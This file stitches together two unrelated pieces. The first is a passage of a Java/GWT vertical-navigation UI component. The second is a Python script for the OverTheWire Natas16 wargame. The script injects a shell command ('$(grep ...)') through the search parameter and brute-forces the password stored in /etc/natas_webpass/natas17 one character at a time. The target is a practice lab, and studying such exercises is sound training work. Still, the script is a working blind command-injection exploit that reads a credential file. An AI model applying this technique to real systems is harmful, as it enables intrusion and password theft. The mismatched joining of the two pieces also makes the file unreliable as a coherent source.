                if (text.length() > SECONDARY_VISIBLE_TEXT_LENGTH) {
                    span.title = text;
                }
                primaryItem.element().appendChild(div);
            }

            HTMLElement li = li().id(id).css(listGroupItem)
                    .add(a().css(clickable).on(click, event -> show(id))
                            .add(span().css(listGroupItemValue).textContent(text)))
                    .get();

            primaryItem.addChild(id);
            Item secondaryItem = new Item(id, primaryId, text, li);
            secondaryUl.appendChild(secondaryItem.element());
            items.put(id, secondaryItem);
            panes.put(id, pane);

        } else {
            logger.error("Unable to find primary navigation item for id '{}'", primaryId);
        }
        return this;
    }

    // ------------------------------------------------------ misc

    private void showInitial() {
        if (!items.isEmpty()) {
            String id;
            Map.Entry<String, Item> entry = items.entrySet().iterator().next();
            if (entry.getValue().hasChildren()) {
                id = entry.getValue().firstChild();
            } else {
                id = entry.getValue().id;
            }
            show(id);
        }
    }

    public void show(String id) {
        Item show = items.get(id);
        if (show != null) {
            if (show.parentId != null) {
                show(show.parentId);
            }
            for (Pane pane : panes.values()) {
                if (pane != null) {
                    Elements.setVisible(pane.element(), pane.id.equals(id));
                }
            }
            show.element().click();
            if (callbacks.containsKey(id)) {
                callbacks.get(id).execute();
            }

            // highlight active item(s)
            for (Item item : items.values()) {
                item.element().classList.remove(active);
            }
            show.element().classList.add(active);
            if (show.parentId != null) {
                Item showParent = items.get(show.parentId);
                if (showParent != null) {
                    showParent.element().classList.add(active);
                }
            }

        } else {
            logger.error("Unable to show item for id '{}': No such item!", id);
        }
    }

    /**
     * Controls the visibility of the specified item.
     */
    public void setVisible(String id, boolean visible) {
        Item item = items.get(id);
        Pane pane = panes.get(id);
        if (item != null && pane != null) {
            Elements.setVisible(item.element(), visible);
            if (!visible && Elements.isVisible(pane.element())) {
                Elements.setVisible(pane.element(), false);
            }
        } else {
            logger.error("Unable to hide item for id '{}': No such item!", id);
        }
    }

    public void onShow(String id, Callback callback) {
        callbacks.put(id, callback);
    }

    public void updateBadge(String id, int count) {
        Item item = items.get(id);
        if (item != null) {
            Element a = item.element().firstElementChild;
            HTMLElement badgeContainer = (HTMLElement) a.querySelector("." + badgeContainerPf);
            if (badgeContainer != null) {
                a.removeChild(badgeContainer);
            }
            badgeContainer = div().css(badgeContainerPf)
                    .add(span().css(badge).textContent(String.valueOf(count)))
                    .get();
            a.appendChild(badgeContainer);
        } else {
            logger.error("Unable to find navigation item for id '{}'", id);
        }
    }

    /**
     * Returns the elements which were registered using the {@code add()} methods. Use this method to add those elements
     * to another container.
     */
    public Iterable<HTMLElement> panes() {
        return panes.values().stream().map(Pane::element).collect(toList());
    }

    private boolean hasSecondary() {
        return items.values().stream().anyMatch(item -> !item.children.isEmpty());
    }

    @JsType(isNative = true)
    static class Api {

        @JsMethod(namespace = GLOBAL, name = "$")
        public static native Api select();

        public native void setupVerticalNavigation(boolean handleItemSelections);
    }

    private static class Item implements IsElement {

        private final String id;
        private final String parentId;
        private final String text;
        private final HTMLElement element;
        private final LinkedHashSet<String> children;

        private Item(String id, String parentId, String text, HTMLElement element) {
            this.id = id;
            this.parentId = parentId;
            this.text = text;
            this.element = element;
            this.children = new LinkedHashSet<>();
        }

        @Override
        public HTMLElement element() {
            return element;
        }

        private void addChild(String id) {
            children.add(id);
        }

        private boolean hasChildren() {
            return !children.isEmpty();
        }

        private String firstChild() {
            return children.iterator().next();
        }
    }

    private static class Pane implements IsElement {

        private final String id;
        private final HTMLElement element;

        private Pane(String id, HTMLElement element) {
            this.id = id;
            this.element = element;
            this.element.dataset.set("vnItemFor", id);
        }

        private Pane(String id, IsElement isElement) {
            this.id = id;
            this.element = isElement.element();
            this.element.dataset.set("vnItemFor", id);
        }

        @Override
        public HTMLElement element() {
            return element;
        }
    }
}


text:
import keyring
import requests
import string
from tqdm import tqdm

s = requests.Session()
s.auth = ('natas16', keyring.get_password('natas', 'natas16'))

target = 'http://natas16.natas.labs.overthewire.org/?needle=hackers%24%28grep+-P+%5E{password}+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search'

candidates = string.digits + string.ascii_letters
password = ''
webrequests = 0
passes = 0

while len(candidates) > 0:
    passes += 1
    print("Pass #{n}; slots remaining = {l}, search space = {s}, password =~ {p}".format(
        n=passes, l=32-len(password), s=len(candidates), p=password))
    found_match = False
    for c in tqdm(candidates):
        webrequests += 1
        # searches specific characters - find a match
        if not 'hackers' in s.get(target.format(password=password + c)).text:
            password += c
            found_match = True

    if not found_match:
        break

keyring.set_password('natas', 'natas17', password)
print('saved password in keyring: {password}'.format(password=password))
print('took {n} web requests'.format(n=webrequests))